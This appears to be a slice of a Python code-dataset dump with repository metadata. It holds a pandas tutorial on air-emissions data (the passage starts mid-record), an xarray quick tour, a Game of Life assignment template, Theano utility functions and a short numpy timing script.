also get some basic statistical analysis of the data using `.describe()` method.\n\ndf.describe()\n\n# To get a more detailed analysis of the data in the table we can use a package called `pandas-profiling`. This package extends Pandas and adds detailed reports of the data.\n#\n# <a href=\"./profile_qld-air-emissions.html\">If you get an error use this pre-made report</a>\n#\n\n# +\n# profile = pp.ProfileReport(df, title='Pandas Profiling Report')\n# profile.to_file(\"profile_qld-air-emissions.html\")\n# profile\n# -\n\n# ## Subsetting and indexing\n\n# There are multiple ways to get a subset of the data. `loc` is used when we want to specify the names of columns and `iloc` when we want to use the index of the columns.<br>\n#\n\n# We can use `loc` by specifying the rows and columns we want by name. e.g. `df.loc[{row(s)}, {column(s) name}]`\n\n# we can get a subset of a single column:\n\n# +\ndf.loc[:'Q001BOR001-S52', \"jurisdiction\"]\n\n# Notice we used :NAME for rows which means give me the rows up to NAME\n# -\n\n# __Note:__ `loc` has a unique property. Since it is designed to work with names of columns and rows, when you want to get a subset of rows, the result it returns is inclusive. In other words when we passed in `:10` in almost every other python object that means `0` to `9`, but in `loc` it means `0` to `10`. Likewise, `10:20` in `loc` means rows `10` to `20`.\n\n# We can also get a subset of multiple columns by passing a list of columns we want.\n\ndf.loc['Q001BOR001-S14':'Q001BOR001-S52', [\"Year\", \"facility_name\", \"substance\", \"quantity_in_kg\"]]\n\n# `iloc` works similar to `loc`, but instead of names we pass in index of the rows or the columns we want.\n\n# a single column\ndf.iloc[:10, 5]\n\n# __Note:__ Notice the number of rows here, and compare it with when we used `loc`.\n\n# You can see the number corresponding to a column name here\nlist(enumerate(df.columns))\n\n# multiple columns\ndf.iloc[10:20, [1, 9, -3, -1]]\n\n# Another useful method to get a subset of data is using boolean indexing. Booleans are either True or False. If we pass a list of booleans, pandas will return only the rows with True in the list.\n\nmask = df[\"substance\"] == \"Oxides of Nitrogen\"\nmask\n\n# The list above has the value true only on the rows where the substance is \"Oxides of Nitrogen\". <br>\n# __Note:__ you can only see a small portion of the data so the True values might not be visible.\n\n# Now if we pass this as an index into a data frame we only get the rows where substance is \"Oxides of Nitrogen\".\n\ndf[mask]\n\n# This method can also be used with `loc` and `iloc`.\n\ndf.loc[\n    df[\"substance\"] == \"Oxides of Nitrogen\",\n    [\"facility_name\", \"substance\", \"quantity_in_kg\"],\n]\n\n# ## Sorting\n# To sort the data in the table based on a certain column we can use the `.sort_values` method. When sorting we need to specify which column we want to sort and whether we want to sort in ascending order or descending order.\n\ndf2 = df.sort_values(by=\"jurisdiction_facility_id\", ascending=False)\ndf2\n\n# __Note:__ many methods return the result as a data frame as well. This allows us to chain these operations to make the code shorter and easier to read.<br>\n#  \n\n# Let's sort the table based on the amount of Oxides of Nitrogen only.\n\ndf.loc[df[\"substance\"] == \"Oxides of Nitrogen\"].sort_values(\n    by=\"quantity_in_kg\", ascending=False\n)\n\n# We can also sort based on multiple columns. To do so we need to pass in the name of the column in a list (in the order we want them to be used for sorting) and also a list to specify whether each column should be ascending or descending.\n\ndf.loc[df[\"substance\"] == \"Oxides of Nitrogen\"].sort_values(\n    by=[\"site_address_postcode\", \"facility_name\"], ascending=[True, False]\n)\n\n# ## Data operations\n# -merge\n# -groupby\n# -pivot_table\n# -crosstab\n\n# __Groupby:__ It aggregates the data into groups (similar to groupby in SQL). For instance, what if we wanted an average emission of each substance across all the sites? To calculate that we use `.groupby()` method.\n\n# Since we want the average amount of substances, the columns we need will be __substance__ and __quantity_in_kg__.\n\ngroups = df[[\"substance\", \"quantity_in_kg\"]].groupby(by=\"substance\")\ngroups\n\nname, group = list(groups)[0]\nprint(name)\ngroup\n\n# But it doesn't show us any tables. The reason is pandas has grouped the data into `DataFrameGroupBy` object and now we need to specify how the values should be aggregated. In this case since we want the average we use `.mean()`.\n\ndf[[\"substance\", \"quantity_in_kg\"]].groupby(by=\"substance\").mean()\n\n# There are other useful aggregation functions such as `.std()` for standard deviation, `.median()` for median, `.count()` for the number of rows in each group, `.sum()` for sum, etc. You can also define your own aggregation function.\n\nagg_func = lambda x: np.sqrt((x ** 2).mean())  # root mean of squares\ndf[[\"substance\", \"quantity_in_kg\"]].groupby(by=\"substance\").apply(agg_func)\n\n# <font color='green'>Do you know how to use *__lambda__* functions? If not check out <a href = 'https://www.w3schools.com/python/python_lambda.asp'>this page</a> to learn about them.</font>\n\n# ### Pivot Table\n# Another way to represent the data is using pivot tables. You might be familiar with pivot tables in Excel. You can perform the same operations here as well.\n\n# Let's create a pivot table that shows the amount of each substance in every postcode in the dataset.\n\ndf.pivot_table(\n    index=\"site_address_postcode\",\n    columns=\"substance\",\n    values=\"quantity_in_kg\",\n    aggfunc=\"mean\",\n)\n\n# __Note:__ `NaN` stands for Not a Number. In this case it means there was no value available for that cell. This means where you see `NaN` in the table there was no emission recorded for that substance in that specific postcode. This probably means that we can assume the emission was zero. We could let pandas know by passing in `fill_value = 0`. Then, where no value is available pandas put zero instead.\n#\n\ndf.pivot_table(\n    index=\"site_address_postcode\",\n    columns=\"substance\",\n    values=\"quantity_in_kg\",\n    aggfunc=\"mean\",\n    fill_value=0,\n)\n\n#  <div class=\"alert alert-success\">\n#   <h2>Exercise</h2>\n#\n# Now to practice what we have learned so far, let's create a table of the total emissions (quantity in kg) of the top 10 substances (most commonly recorded substances in the dataset) for each postcode.<br>\n#     \n# 1. Find how many times each substance occurs `substance_count`\n# 2. Sort `substance_count` and find 10 most common substance `top10`\n# 3. Create a seperate dataframe that shows the total weight of each substance per postcode `weight_by_postcode`\n# 4. Combine `weight_by_postcode` and `top10` to get the weight by postcode of the top 10 substances \n#     \n# ```python\n# # 1. Find how many times each substance has been recorded (this has been done for you)\n# # substance_count = df[[\"site_address_postcode\", \"substance\"]].??\n#\n# # 2. Sort it and find the substances that have been recorded the most (this has been done for you)\n# # top10 = substance_count.??\n#\n# # 3. Create a seperate table that shows the total weight of each substance per postcode (hint: pivot table or groupby)\n# # pivot = ??\n#\n# # 4. Combine the tables, to get a subset which only includes the top 10 substances\n# # pivot_top10 = ??\n# ```\n#       \n#\n#   <details>\n#   <summary><b>\u2192 Hints</b></summary>\n#\n# 1. use groupby then count\n# 2. use .sort_values() then get the first 10 rows\n# 3. A pivot table will do this easily\n# 4. `weight_by_postcode[top10.index]`\n#\n#   </details>\n#\n#   <br/>\n#   <br/>\n#   <details>\n#   <summary>\n#     <b>\u2192 Solution</b>\n#   </summary>\n#\n# ```python\n# # you can replace site_address_postcode by any other column. Since we are only counting it doesn't matter which column use.\n# substance_count = df[[\"site_address_postcode\", \"substance\"]].groupby(by=\"substance\").count()\n#\n# # Now sort it, and take the first 10 results\n# substance_count.columns = [\"Count\"] # rename column\n# top10 = substance_count.sort_values(by=\"Count\", ascending=False)[:10]\n#\n# # Create the pivot table\n# pivot = df.pivot_table(\n#     index=\"site_address_postcode\",\n#     columns=\"substance\",\n#     values=\"quantity_in_kg\",\n#     aggfunc=\"sum\",\n# )\n#\n# # get only the columns for top 10 substances\n# pivot_top10 = pivot[top10.index]\n# pivot_top10\n# ```\n#\n#   </details>\n#\n#   </div>\n\n# Now it's a good time to discuss dealing with missing values in a table.\n\n# ## Missing Values\n# There might be missing data in a table. Having `NaN` in the table can cause trouble in the analysis so we need to decide how we are going to deal with it. A few common scenarios are:\n# 1. filling the missing values with a number e.g. zero\n# 2. removing rows with missing values\n# 3. removeing rows with multiple missing values and filling the remaining with a new value\n\n# +\n# you can replace site_address_postcode by any other column. Since we are only counting it doesn't matter which column use.\nsubstance_count = df[[\"site_address_postcode\", \"substance\"]].groupby(by=\"substance\").count()\n\n# Now sort it, and take the first 10 results\nsubstance_count.columns = [\"Count\"] # rename column\ntop10 = substance_count.sort_values(by=\"Count\", ascending=False)[:10]\n\n# Create the pivot table\npivot = df.pivot_table(\n    index=\"site_address_postcode\",\n    columns=\"substance\",\n    values=\"quantity_in_kg\",\n    aggfunc=\"sum\",\n)\n\n# get only the columns for top 10 substances\npivot_top10 = pivot[top10.index]\npivot_top10\n# -\n\n# To replace the missing value with a fixed number we can use `.fillna()` method.\n\ndfnew = pivot_top10.fillna(value=0)\ndfnew\n\n# __Note:__ When using `fillna` the changes are not saved in the data frame. The default settings only returns the result and keeps the original data frame intact. If you want to save the changes in the same data frame you can pass in `inplace = True`.\n\n# There are other ways to fill the missing values. In some cases you might want to use different values for each column. A common example is using mean or median of a column for the missing values.\n\nfill_values = pivot_top10.mean()\ndfnew = pivot_top10.fillna(value=fill_values)\ndfnew\n\n# Pandas has other methods for filling the missing values including forward and backward filling. Forward filling replaces the missing values by the last valid value in the table and backward filling replaces the missing values by next valid value. These techniques are useful for sequential data such as time series and wouldn't make sense to be applied to tabular data.<br>\n# To use these methods, when using `fillna` instead of passing in a value, you can pass a method. For forward filling pass in `method = \"ffill\"` and for backward filling pass in `method = \"bfill\"`.\n\n# If you simply want to get rid of rows with missing values you can use `.dropna()`\n\ndfnew = pivot_top10.dropna()\ndfnew\n\n# __Note:__ Notice the number of rows are much less in the table above compared to the original table.\n\n# If we remove any row that contains missing values we might lose a significant portion of the data. Alternatively, we can only remove rows which have more than a certain number of missing values. To do so, we can set a threshold.\n\n# remove the rows with at least 3 missing values\ndfnew = pivot_top10.dropna(thresh=3)\ndfnew\n\n# Now we have more rows compared to when we removed all missing values.<br>\n# Next step is to replace the missing values using the techniques discussed above.\n\n# ## Saving Data\n# After analysis and reshaping the data you might want to save the results in a file. Similar to reading files, pandas supports multiple file formats to save the tables.\n\npivot_top10.to_csv(\"final_table.csv\")\n\n# ## Pandas Plotting\n# Pandas dataframes have plotting methods which help to visualise the data. The following plots are supported in pandas:\n# - 'line' : line plot (default)\n# - 'bar' : vertical bar plot\n# - 'barh' : horizontal bar plot\n# - 'hist' : histogram\n# - 'box' : boxplot\n# - 'kde' : Kernel Density Estimation plot\n# - 'density' : same as 'kde'\n# - 'area' : area plot\n# - 'pie' : pie plot\n# - 'scatter' : scatter plot\n# - 'hexbin' : hexbin plot.\n#\n# You can select which plot you want to use by setting `kind` to the string for the plot.<br>\n# There are a few other useful options you can set:\n# - xlim, ylim: to set limits of axes\n# - logx, logy, loglog: to set whether an axis should be displayed in logarithmic scale]\n# - title: to set the title of the plot\n# - figsize: to set the size of the plot\n# <br><br>Let's try a few types of charts and graphs.\n\n# Top 10 postcodes with largest carbon monoxide emission\npivot_top10.sort_values(by=\"Carbon monoxide\", ascending=False)[:10].plot(\n    kind=\"barh\", y=\"Carbon monoxide\"\n)\n\n# histogram of benzene emission\npivot_top10.plot(kind=\"hist\", y=\"Benzene\", bins=50)\n\n# +\n# kernel density estimation plot of benzene emission\n\npivot_top10.plot(kind=\"kde\", y=[\"Benzene\", \"Toluene (methylbenzene)\"], logx=True)\n# -\n\n# histogram of benzene emission in each postcode\npivot_top10.plot(kind=\"box\", logy=True, rot=90)\n\npivot_top10.plot(kind=\"scatter\", x=\"Toluene (methylbenzene)\", y=\"Benzene\", loglog=True)\n\n# pie chart of emission of the substances in postcode 4008\npivot_top10.loc[4008, :].plot(kind=\"pie\", subplots=True, figsize=(10, 10))\n\n# We will discuss producing more advanced plots in the next notebooks where we learn about various plotting packages in python.\n\n# ## Further reading\n# - [Pandas documentation](https://pandas.pydata.org/)\n# - [Pandas in 10 minutes](https://pandas.pydata.org/pandas-docs/stable/getting_started/10min.html)\n# - https://github.com/pandas-dev/pandas/blob/master/doc/cheatsheet/Pandas_Cheat_Sheet.pdf\n# - https://www.kaggle.com/learn/pandas\n# - https://www.kaggle.com/kashnitsky/topic-1-exploratory-data-analysis-with-pandas\n# - https://www.youtube.com/watch?v=ZyhVh-qRZPA&list=PL-osiE80TeTsWmV9i9c58mdDCSskIFdDS\n#\n\n\n", "meta": {"hexsha": "962782570a47e5bc3d69b7c7818d55e707c0c432", "size": 16541, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/b02_Advanced_Pandas/Pandas.py", "max_stars_repo_name": "lixuekai2001/ml_for_log_data", "max_stars_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-09-24T06:34:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-18T14:43:11.000Z", "max_issues_repo_path": "notebooks/b02_Advanced_Pandas/Pandas.py", "max_issues_repo_name": "lixuekai2001/ml_for_log_data", "max_issues_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/b02_Advanced_Pandas/Pandas.py", "max_forks_repo_name": "lixuekai2001/ml_for_log_data", "max_forks_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2020-10-14T07:13:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-23T01:59:41.000Z", "avg_line_length": 38.4674418605, "max_line_length": 407, "alphanum_fraction": 0.7261350583, "include": true, "reason": "import numpy", "num_tokens": 4316, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38121956625614994, "lm_q2_score": 0.18713268896245422, "lm_q1q2_score": 0.07133864251861381}}
{"text": "\"\"\"\nXarray : Quick tour\n===================\n\nBasically, this example gives a very small introduction to Xarray (very small).\nWe illustrate how to define a DataArray container, access its components,\nperform some of the basic operations and slicing / indexing.\n\"\"\"\nimport numpy as np\nimport xarray as xr\nimport pandas as pd\n\n###############################################################################\n# Simulate data\n# -------------\n#\n# lets start by creating a random spatio-temporal array\n\nn_times = 30\nn_roi = 7\ntimes_vec = np.linspace(-1, 1, n_times)\nroi_vec = np.array([f\"roi_{k}\" for k in range(n_roi)])\nnp_data = np.random.rand(n_times, n_roi)\nprint(np_data.shape)\nprint('*' * 79)\n\n###############################################################################\n# Xarray conversion and access to the internal components\n# -------------------------------------------------------\n#\n# A DataArray is a container (like a well known numpy array) except that you\n# can add a label to each coordinate. To this end, the input `dims` is a tuple\n# that describes the dimension names and `coords` describes the value along\n# this coordinate\n\n# let's convert it to a DataArray\nda_data = xr.DataArray(np_data, dims=('times', 'roi'),\n                       coords=(times_vec, roi_vec))\nprint(da_data.shape)\nprint(da_data)\nprint('*' * 79)\n\n# if you want to get the dimension names and values\nprint(f'Dimension names : {da_data.dims}')\nprint(f'Dimension values : {da_data.coords}')\nprint(f\"Data of a specific dimension : {da_data.roi.data}\")\nprint('*' * 79)\n\n# if you want to get the original NumPy array enter the following :\nda_data.data\n\n# if you want to change the values of a coordinate\nda_data['roi'] = np.array([f\"roi_{k % 3}\" for k in range(n_roi)])\nprint(f\"New ROI names : {da_data.roi.data}\")\nprint('*' * 79)\n\n# if you need to compute or get the min / max / mean across a specific\n# dimension\nda_data.min('times')  # minimum across time points\nda_data.max('times')  # maximum across time points\nda_data.mean('roi')   # mean across all ROI\n\n# similarly to Pandas, it's also possible to group along a dimension and then\n# take the mean. For example, here's how to group and mean by roi names\nda_m = da_data.groupby('roi').mean('roi')\nprint(da_m)\nprint('*' * 79)\n\n\n###############################################################################\n# Xarray slicing and indexing\n# ---------------------------\n#\n# Now we show how to slice the container\n\n# select a single specific ROI based on it's name\nda_data.sel(roi='roi_0')\n\n# select a time range\nda_time_slice = da_data.sel(times=slice(-.5, .5))\nprint(f\"Temporal selection : {da_time_slice.coords}\")\nprint('*' * 79)\n\n# off course, spatio-temporal selection is also supported\nda_st = da_data.sel(times=slice(-.5, .5), roi='roi_1')\nprint(f\"Spatio-temporal selection : {da_st.coords}\")\nprint('*' * 79)\n\n# you can also slice according to indices\nda_isel = da_data.isel(times=slice(10, 20))\nprint(f\"Integer selection : {da_isel.coords}\")\nprint('*' * 79)\n\n# however, if you want for example select multiple items based on their names,\n# you have to use booleans. Here's a small example that's using Pandas\nroi = da_data.roi.data\nuse_roi = ['roi_0', 'roi_2']\nis_roi = pd.Series(roi).str.contains('|'.join(use_roi))\nda_mi = da_data.isel(roi=is_roi)\nprint(f\"Multi-items selection : {da_mi.coords}\")\n\n###############################################################################\n# Xarray attributes\n# -----------------\n#\n# One of the nice features of DataArray is that it supporting setting\n# attributes. Therefore you can add, for example, the parameters that describe\n# your analysis\n\n# adding a few string attributes\nda_data.attrs['inference'] = 'ffx'\nda_data.attrs['stats'] = 'cluster-based'\nda_data.attrs['description'] = \"\"\"Here's a small description of the analysis\nI'm currently running. Trying to find a difference between condition 1. vs 2.\n\"\"\"\n\n# you can also add vectors (but not arrays) to the attributes\nda_data.attrs['vector'] = np.arange(30)\n\n# however, \"None\" seems to pose a problem when saving the results. Therefore,\n# one quick way to solve this is simply to convert it into a string\nda_data.attrs['none_problem'] = str(None)\n\nprint(da_data)\n\n###############################################################################\n# Xarray to an other format\n# -------------------------\n#\n# Finally, we quickly illustrate how to convert a DataArray into, for example,\n# a pandas.DataFrame\n\nprint(da_data.to_pandas())", "meta": {"hexsha": "6c2406eb35336d165d0c3ba107a99b90a667afda", "size": 4473, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/xarray/plot_xr_quick_tour.py", "max_stars_repo_name": "adam2392/frites", "max_stars_repo_head_hexsha": "4a6afa6dd0a2d559f5ae81d455c77210f018450c", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 35, "max_stars_repo_stars_event_min_datetime": "2019-10-09T11:01:29.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T02:24:39.000Z", "max_issues_repo_path": "examples/xarray/plot_xr_quick_tour.py", "max_issues_repo_name": "adam2392/frites", "max_issues_repo_head_hexsha": "4a6afa6dd0a2d559f5ae81d455c77210f018450c", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 14, "max_issues_repo_issues_event_min_datetime": "2020-12-05T09:26:00.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-17T08:24:06.000Z", "max_forks_repo_path": "examples/xarray/plot_xr_quick_tour.py", "max_forks_repo_name": "adam2392/frites", "max_forks_repo_head_hexsha": "4a6afa6dd0a2d559f5ae81d455c77210f018450c", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 13, "max_forks_repo_forks_event_min_datetime": "2021-01-06T12:58:47.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-09T14:55:24.000Z", "avg_line_length": 33.6315789474, "max_line_length": 79, "alphanum_fraction": 0.6342499441, "include": true, "reason": "import numpy", "num_tokens": 1056, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.14608725262486594, "lm_q1q2_score": 0.07133197972110987}}
{"text": "#!/usr/bin/env python3\nfrom paint import paint\nimport sys\nfrom time import sleep\nimport numpy as np\n\"\"\"\n# Sample format to answer pattern questions \n# assuming the pattern would be frag0:\n..*\n**.\n.**\n#############################################\n# Reread the instructions for assignment 1: make sure\n# that you have the version with due date SUNDAY.\n# Every student submits their own assignment.\n* Delete the names and ccids below, and put\n# the names and ccids of all members of your group, including you. \n# name                         ccid\nDaniel Levy                   danlevy\nSarah Levy                    sarlevy\n\n#############################################\n# Your answer to question 1-a:\n\n#############################################\n# Your answer to question 1-b:\n\n#############################################\n# Your answer to question 2:\n\n#############################################\n# Follow the assignment 1 instructions and\n# make the changes requested in question 3.\n# Then come back and fill in the answer to\n# question 3-c:\n\n#############################################\n\"\"\"\n\"\"\"\nbased on life-np.py from course repo\n\"\"\"\n\n\nPTS = '.*#'\nDEAD, ALIVE, WALL = 0, 1, 2\nDCH, ACH, GCH = PTS[DEAD], PTS[ALIVE], PTS[WALL]\n\n\ndef point(r, c, cols): return c + r*cols\n\n\"\"\"\nboard functions\n  * represent board as 2-dimensional array\n\"\"\"\n\n\ndef get_board():\n    B = []\n    print(sys.argv[1])\n    with open(sys.argv[1]) as f:\n        for line in f:\n            B.append(line.rstrip().replace(' ', ''))\n        rows, cols = len(B), len(B[0])\n        for j in range(1, rows):\n            assert(len(B[j]) == cols)\n        return B, rows, cols\n\n\ndef convert_board(B, r, c):  # from string to numpy array\n    A = np.zeros((r, c), dtype=np.int8)\n    for j in range(r):\n        for k in range(c):\n            if B[j][k] == ACH:\n                A[j, k] = ALIVE\n    return A\n\n\ndef expand_grid(A, r, c, t):  # add t empty rows and columns on each side\n    N = np.zeros((r+2*t, c+2*t), dtype=np.int8)\n    for j in range(r):\n        for k in range(c):\n            if A[j][k] == ALIVE:\n                N[j+t, k+t] = ALIVE\n    return N, r+2*t, c+2*t\n\n\ndef print_array(A, r, c):\n    print('')\n    for j in range(r):\n        out = ''\n        for k in range(c):\n            out += ACH if A[j, k] == ALIVE else DCH\n        print(out)\n\n\ndef show_array(A, r, c):\n    for j in range(r):\n        line = ''\n        for k in range(c):\n            line += str(A[j, k])\n        print(line)\n    print('')\n\n\n\"\"\" \nConway's next-state formula\n\"\"\"\n\n\ndef next_state(A, r, c):\n    N = np.zeros((r, c), dtype=np.int8)\n    changed = False\n    for j in range(r):\n        for k in range(c):\n            num = 0\n            if j > 0 and k > 0 and A[j-1, k-1] == ALIVE:\n                num += 1\n            if j > 0 and A[j-1, k] == ALIVE:\n                num += 1\n            if j > 0 and k < c-1 and A[j-1, k+1] == ALIVE:\n                num += 1\n            if k > 0 and A[j, k-1] == ALIVE:\n                num += 1\n            if k < c-1 and A[j, k+1] == ALIVE:\n                num += 1\n            if j < r-1 and k > 0 and A[j+1, k-1] == ALIVE:\n                num += 1\n            if j < r-1 and A[j+1, k] == ALIVE:\n                num += 1\n            if j < r-1 and k < c-1 and A[j+1, k+1] == ALIVE:\n                num += 1\n            if A[j, k] == ALIVE:\n                if num > 1 and num < 4:\n                    N[j, k] = ALIVE\n                else:\n                    N[j, k] = DEAD\n                    changed = True\n            else:\n                if num == 3:\n                    N[j, k] = ALIVE\n                    changed = True\n                else:\n                    N[j, k] = DEAD\n    return N, changed\n\n\n#############################################\n\"\"\" \nProvide your code for the function \nnext_state2 that (for the usual bounded\nrectangular grid) calls the function num_nbrs2,\nand delete the raise error statement:\n\"\"\"\n\n\ndef next_state2():\n\n    raise NotImplementedError()\n#############################################\n\n\n#############################################\n\"\"\" \nProvide your code for the function \nnum_nbrs2 here and delete the raise error\nstatement:\n\"\"\"\n\n\ndef num_nbrs2():\n\n    raise NotImplementedError()\n#############################################\n\n\n#############################################\n\"\"\" \nProvide your code for the function \nnext_state_torus here and delete the raise \nerror statement:\n\"\"\"\n\n\ndef next_state_torus():\n\n    raise NotImplementedError()\n#############################################\n\n\n#############################################\n\"\"\" \nProvide your code for the function \nnum_nbrs_torus here and delete the raise \nerror statement:\n\"\"\"\n\n\ndef num_nbrs_torus():\n\n    raise NotImplementedError()\n#############################################\n\n\n\"\"\"\ninput, output\n\"\"\"\n\npause = 0.2\n\n#############################################\n\"\"\" \nModify interact as necessary to run the code:\n\"\"\"\n#############################################\n\n\ndef interact(max_itn):\n    itn = 0\n    B, r, c = get_board()\n    print(B)\n    X = convert_board(B, r, c)\n    A, r, c = expand_grid(X, r, c, 0)\n    print_array(A, r, c)\n    while itn <= max_itn:\n        sleep(pause)\n        newA, delta = next_state(A, r, c)\n        if not delta:\n            break\n        itn += 1\n        A = newA\n        print_array(A, r, c)\n    print('\\niterations', itn)\n\n\ndef main():\n    interact(99)\n\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "83eabfa3d71f76e221fae6b84d5865e42163d64b", "size": 5422, "ext": "py", "lang": "Python", "max_stars_repo_path": "simple/life/life-asn1.py", "max_stars_repo_name": "zapansa/games-puzzles-algorithms", "max_stars_repo_head_hexsha": "28dadcdfc6e7520f0abd26dc146f06bf56e053a9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "simple/life/life-asn1.py", "max_issues_repo_name": "zapansa/games-puzzles-algorithms", "max_issues_repo_head_hexsha": "28dadcdfc6e7520f0abd26dc146f06bf56e053a9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "simple/life/life-asn1.py", "max_forks_repo_name": "zapansa/games-puzzles-algorithms", "max_forks_repo_head_hexsha": "28dadcdfc6e7520f0abd26dc146f06bf56e053a9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.4979253112, "max_line_length": 73, "alphanum_fraction": 0.4526005164, "include": true, "reason": "import numpy", "num_tokens": 1385, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14223190046381004, "lm_q1q2_score": 0.07111595023190502}}
{"text": "import theano\nimport theano.tensor as T\nimport numpy as np\n\n\"\"\"\ntheano_utils\nCommonly used functions to convert np array to theano.shared variable\ntheano.shared variable is used to store data into GPUs\n\"\"\"\n\ndef floatX(X):\n    return np.asarray(X, dtype=theano.config.floatX)\n\ndef sharedX(X,dtype=theano.config.floatX, name=None):\n    return theano.shared(np.asarray(X,dtype=dtype), name=name)\n\ndef shared_zeros(shape,dtype=theano.config.floatX,name=None):\n    return theano.shared(np.asarray(np.zeros(shape), dtype=dtype), name=name)\n\ndef shared_ones(shape, dtype=theano.config.floatX,name=None):\n    return theano.shared(np.asarray(np.ones(shape), dtype=dtype), name=name)\n\ndef shared_scalar(val=0., dtype=theano.config.floatX,name=None):\n    return theano.shared(np.cast[dtype](val))\n\n", "meta": {"hexsha": "196d7b4090a566228ef97e053b4f3cacd177f5ed", "size": 787, "ext": "py", "lang": "Python", "max_stars_repo_path": "deuNet/utils/theano_utils.py", "max_stars_repo_name": "shenxudeu/deuNN", "max_stars_repo_head_hexsha": "81fcddd4da2be5f46d8e96e1a760a33a7e2579d2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2016-03-27T20:14:19.000Z", "max_stars_repo_stars_event_max_datetime": "2016-03-27T20:14:19.000Z", "max_issues_repo_path": "deuNet/utils/theano_utils.py", "max_issues_repo_name": "shenxudeu/deuNet", "max_issues_repo_head_hexsha": "81fcddd4da2be5f46d8e96e1a760a33a7e2579d2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "deuNet/utils/theano_utils.py", "max_forks_repo_name": "shenxudeu/deuNet", "max_forks_repo_head_hexsha": "81fcddd4da2be5f46d8e96e1a760a33a7e2579d2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.2692307692, "max_line_length": 77, "alphanum_fraction": 0.7598475222, "include": true, "reason": "import numpy,import theano", "num_tokens": 188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.1422318986458388, "lm_q1q2_score": 0.0711159493229194}}
{"text": "import numpy as np\r\n#  This program differentiates between the time taken on operations perform on lists and numpy arrays\r\nimport time\r\n\r\nSIZE = 1000000\r\n\r\nL1 = range(SIZE)\r\nL2 = range(SIZE)\r\n\r\nA1 = np.arange(SIZE)\r\nA2 = np.arange(SIZE)\r\n\r\nstart = time.time()\r\n\r\nresult = [(x, y) for x, y in zip(L1, L2)]\r\n\r\nprint((time.time() - start) * 1000)\r\n\r\nresult1 = A1 + A2\r\n\r\nprint((time.time() - start) * 1000)\r\n\r\n\r\n\r\n", "meta": {"hexsha": "ec79233be2b10d03c64cc9fa3756c15731aad628", "size": 411, "ext": "py", "lang": "Python", "max_stars_repo_path": "LearnNumpy1.py", "max_stars_repo_name": "HMurkute/PythonNumpy", "max_stars_repo_head_hexsha": "48fe3d8215c488deae9a9ce570ab8dd9888b220d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "LearnNumpy1.py", "max_issues_repo_name": "HMurkute/PythonNumpy", "max_issues_repo_head_hexsha": "48fe3d8215c488deae9a9ce570ab8dd9888b220d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "LearnNumpy1.py", "max_forks_repo_name": "HMurkute/PythonNumpy", "max_forks_repo_head_hexsha": "48fe3d8215c488deae9a9ce570ab8dd9888b220d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.44, "max_line_length": 102, "alphanum_fraction": 0.6326034063, "include": true, "reason": "import numpy", "num_tokens": 125, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.1422318931919251, "lm_q1q2_score": 0.07111594659596256}}
